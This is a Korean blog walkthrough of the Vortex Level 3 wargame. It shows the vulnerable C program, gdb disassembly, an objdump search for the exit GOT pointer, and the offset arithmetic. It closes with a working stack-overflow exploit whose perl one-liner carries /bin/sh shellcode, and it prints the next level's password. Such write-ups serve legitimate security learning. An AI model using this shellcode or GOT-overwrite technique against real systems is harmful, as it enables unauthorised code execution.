Rotiple

Vortex Level3

WarGame/Vortex2015. 7. 20. 14:40
/*
 * 0xbadc0ded.org Challenge #02 (2003-07-08)
 *
 * Joel Eriksson 
 */

#include 
#include 
#include 

unsigned long val = 31337;
unsigned long *lp = &val;

int main(int argc, char **argv)
{
        unsigned long **lpp = &lp, *tmp;
        char buf[128];

        if (argc != 2)
                exit(1);

        strcpy(buf, argv[1]);

        if (((unsigned long) lpp & 0xffff0000) != 0x08040000)
                exit(2);./

        tmp = *lpp;
        **lpp = (unsigned long) &buf;
        // *lpp = tmp; // Fix suggested by Michael Weissbacher @mweissbacher 2013-06-30

        exit(0);
}


문제를 보면 더이상 ctors,dtors를 사용할 수 없다고 적혀있습니다.

그러므로 우리는 PLT, GOT을 이용한 BOF 공격을 하겠습니다.
(참고:http://lapislazull.tistory.com/54)

변수
lpp --> lp --> val
lpp --> lp --> val[&buf]
lpp --> lp --> exit[&buf]
여기서 공격할 방식은 lpp --> lp --> exit@got
예전 방식 lpp --> lp --> dtors



메인함수를 한번 확인해보죠
vortex3@melinda:/vortex$ gdb -q ./vortex3
Reading symbols from ./vortex3...(no debugging symbols found)...done.
(gdb) set disassembly-flavor intel
(gdb) disas main
Dump of assembler code for function main:
   0x0804842d <+0>:	push   ebp
   0x0804842e <+1>:	mov    ebp,esp
   0x08048430 <+3>:	and    esp,0xfffffff0
   0x08048433 <+6>:	sub    esp,0xa0
   0x08048439 <+12>:	mov    DWORD PTR [esp+0x9c],0x8049748
   0x08048444 <+23>:	cmp    DWORD PTR [ebp+0x8],0x2
   0x08048448 <+27>:	je     0x8048456 
   0x0804844a <+29>:	mov    DWORD PTR [esp],0x1
   0x08048451 <+36>:	call   0x8048310 
   0x08048456 <+41>:	mov    eax,DWORD PTR [ebp+0xc]
   0x08048459 <+44>:	add    eax,0x4
   0x0804845c <+47>:	mov    eax,DWORD PTR [eax]
   0x0804845e <+49>:	mov    DWORD PTR [esp+0x4],eax
   0x08048462 <+53>:	lea    eax,[esp+0x18]
   0x08048466 <+57>:	mov    DWORD PTR [esp],eax
   0x08048469 <+60>:	call   0x80482f0 
   0x0804846e <+65>:	mov    eax,DWORD PTR [esp+0x9c]
   0x08048475 <+72>:	mov    ax,0x0
   0x08048479 <+76>:	cmp    eax,0x8040000
   0x0804847e <+81>:	je     0x804848c 
   0x08048480 <+83>:	mov    DWORD PTR [esp],0x2
   0x08048487 <+90>:	call   0x8048310 
   0x0804848c <+95>:	mov    eax,DWORD PTR [esp+0x9c]
   0x08048493 <+102>:	mov    eax,DWORD PTR [eax]
   0x08048495 <+104>:	mov    DWORD PTR [esp+0x98],eax
   0x0804849c <+111>:	mov    eax,DWORD PTR [esp+0x9c]
   0x080484a3 <+118>:	mov    eax,DWORD PTR [eax]
   0x080484a5 <+120>:	lea    edx,[esp+0x18]
   0x080484a9 <+124>:	mov    DWORD PTR [eax],edx
   0x080484ab <+126>:	mov    DWORD PTR [esp],0x0
   0x080484b2 <+133>:	call   0x8048310 
End of assembler dump.
exit@plt를 따라가보겠습니다.
(gdb) x/8i 0x8048310
   0x8048310 :	jmp    DWORD PTR ds:0x8049734
   0x8048316 :	push   0x10
   0x804831b :	jmp    0x80482e0
   0x8048320 <__libc_start_main@plt>:	jmp    DWORD PTR ds:0x8049738
   0x8048326 <__libc_start_main@plt+6>:	push   0x18
   0x804832b <__libc_start_main@plt+11>:	jmp    0x80482e0
   0x8048330 <_start>:	xor    ebp,ebp
   0x8048332 <_start+2>:	pop    esi
0x8049734라는 주소를 실행시키는것을 확인 할 수 있습니다. 즉 저곳이 exit의 함수입니다.
즉, 상상해봅시다. 우리는 lpp의 값을 덮어 씌울수있으며
lpp --> 0x08049734 --> (exit의 동적 로드 주소) 이렇게 흘러가는데 BOF공격을 통해
lpp --> 0x08049734 --> buf의 주소 이렇게 흘러가도록 말이죠

그러려면 우리는 0x08049734값을 가지는 곳의 주소를 알아야한다.
vortex3@melinda:/vortex$ objdump -s ./vortex3 | grep 34970408 
 80482a4 34970408 07030000 38970408 07040000  4.......8.......
즉, 0x080482a4라는 값에 우리가 원하는 값이 있다. 저값으로 lpp를 덮는것이다.
그렇게 되면 맨아랫줄 **lpp = (unsigned long) &buf;이 실행되는 순간 exit의 주소값이 buf의 주소값으로 변경되게 되는 것이다.
그러러면 buf와 lpp의 거리를 알아야된다 gdb를 통하여 buf는 0x18(%esp) lpp는 0x9c(%esp)인것을 알았다.
buf와 lpp의 거리차이는 0x9c - 0x18 = 0x84 = 132가 두 변수의 거리차이다.
이제 쉘코드와 조합해서 BOF를 해보자

vortex3@melinda:/vortex$ /vortex/vortex3 `perl -e 'print "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh" , "\x90"x71 , "\xa4\x82\x04\x08"'`
$ whoami
vortex4
$ cat /etc/vortex_pass/vortex4
2YmgK1=jw

이때 사용한 Shellcode(61byte) + null(71byte) + lpp변경주소(4byte)

'WarGame > Vortex' 카테고리의 다른 글

Vortex Level2  (0) 2015.07.20
Vortex Level1  (0) 2015.07.20
Vortex Level0  (0) 2015.07.17